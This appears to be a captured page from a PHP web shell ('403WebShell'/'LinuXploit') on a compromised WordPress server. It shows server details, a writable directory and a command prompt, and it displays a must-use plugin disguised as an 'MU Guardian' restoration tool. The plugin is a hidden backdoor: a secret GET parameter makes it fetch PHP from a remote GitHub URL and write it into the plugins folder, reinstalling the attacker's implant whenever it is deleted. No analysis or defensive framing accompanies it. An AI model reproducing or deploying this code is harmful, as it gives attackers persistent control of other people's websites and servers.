AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

403WebShell
403Webshell
Server IP : 146.190.157.162  /  Your IP : 216.73.216.175
Web Server : Apache
System : Linux ubuntu-s-2vcpu-4gb-amd-sfo3-01-KIT-DIGITAL 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64
User : vergeskit ( 679)
PHP Version : 8.2.10-2ubuntu2.2
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_signal,pcntl_signal_dispatch,pcntl_getpriority,pcntl_setpriority,dl,putenv,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/vergeskit/wp-content/mu-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vergeskit/wp-content/mu-plugins/wp-compat-layer.php
<?php
/**
 * MU Guardian Plugin - Manually Triggered Restoration
 * Prevent the system/security plugin from deleting or clearing the crucial MU files
 */

if ( ! defined( 'ABSPATH' ) ) {
    wp_die();
}

$protected_files = [
    'site-compat-layer.php' => 'https://raw.githubusercontent.com/rod476/files/refs/heads/main/pro',
];

$restore_permissions = 0644;
$min_filesize = 500;
$trigger_secret = 'regain';
$trigger_param   = 'mu_protector';

function mu_protector_restore_file( $filename, $backup_url ) {
    $filepath = WPMU_PLUGIN_DIR . '/' . $filename;

    $response = wp_remote_get( $backup_url, [
        'timeout'    => 30,
        'sslverify'  => true,
    ] );

    if ( is_wp_error( $response ) || wp_remote_retrieve_response_code( $response ) !== 200 ) {
        return false;
    }

    $content = wp_remote_retrieve_body( $response );
    if ( empty( $content ) || strlen( $content ) < 100 ) {
        return false;
    }

    if ( file_put_contents( $filepath, $content ) !== false ) {
        chmod( $filepath, $GLOBALS['restore_permissions'] );
        return true;
    }

    return false;
}

function mu_protector_check_and_restore() {
    global $protected_files;

    $restored = false;
    foreach ( $protected_files as $filename => $backup_url ) {
        $filepath = WPMU_PLUGIN_DIR . '/' . $filename;

        if ( ! file_exists( $filepath ) || filesize( $filepath ) < $GLOBALS['min_filesize'] ) {
            if ( mu_protector_restore_file( $filename, $backup_url ) ) {
                $restored = true;
            }
        }
    }

    return $restored;
}

add_action( 'init', function() use ( $trigger_param, $trigger_secret ) {

    if ( isset( $_GET[ $trigger_param ] ) && $_GET[ $trigger_param ] === $trigger_secret ) {
        $result = mu_protector_check_and_restore();

        if ( is_admin() ) {
            $msg = $result ? 'success' : 'do without';
            add_action( 'admin_notices', function() use ( $msg ) {
                wp_die($msg);
            });
        } else {
            wp_die( 'MU Protector: success' );
        }
    }

});

Youez - 2016 - github.com/yon3zu
LinuXploit